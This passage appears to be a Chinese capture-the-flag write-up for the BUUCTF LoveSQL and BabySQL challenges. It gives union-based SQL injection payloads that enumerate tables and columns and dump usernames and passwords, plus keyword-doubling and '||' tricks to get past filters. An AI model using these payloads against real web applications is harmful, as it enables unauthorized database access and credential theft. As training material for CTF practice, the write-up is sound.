1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())#
得到了数据库geek下有两张表分别是 ‘geekuser’ ‘l0ve1ysq1’
根据题目名字很有可能在’l0ve1ysq1’这张表里
接着构建payload
1
1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1')#
得到三个字段名password id username
接着构建payload爆他们的数值
1 2 3
1' union select 1,2,(select group_concat(password) from l0ve1ysq1)# 1'unionselect1,2,(select group_concat(id) from l0ve1ysq1)# 1' union select 1,2,(select group_concat(username) from l0ve1ysq1)#
最后是在password字段发现flag
BUUCTF [极客大挑战 2019]BabySQL 1
还是万能公式起手
根据回显报错发现or被过滤掉了 于是用 || 来代替
又发现了这个回显页面 还是试着用联合注入寻找回显位置
1
1' union select 1,2,3#
根据回显报错发现union select 被过滤了
双写绕过
1
1' ununionion selselectect 1,2,3#
爆出数据库名字payload
1
1' ununionion selselectect 1,2,database() #
接着构建payload爆数据库中的表名
1
1' ununionion selselectect 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #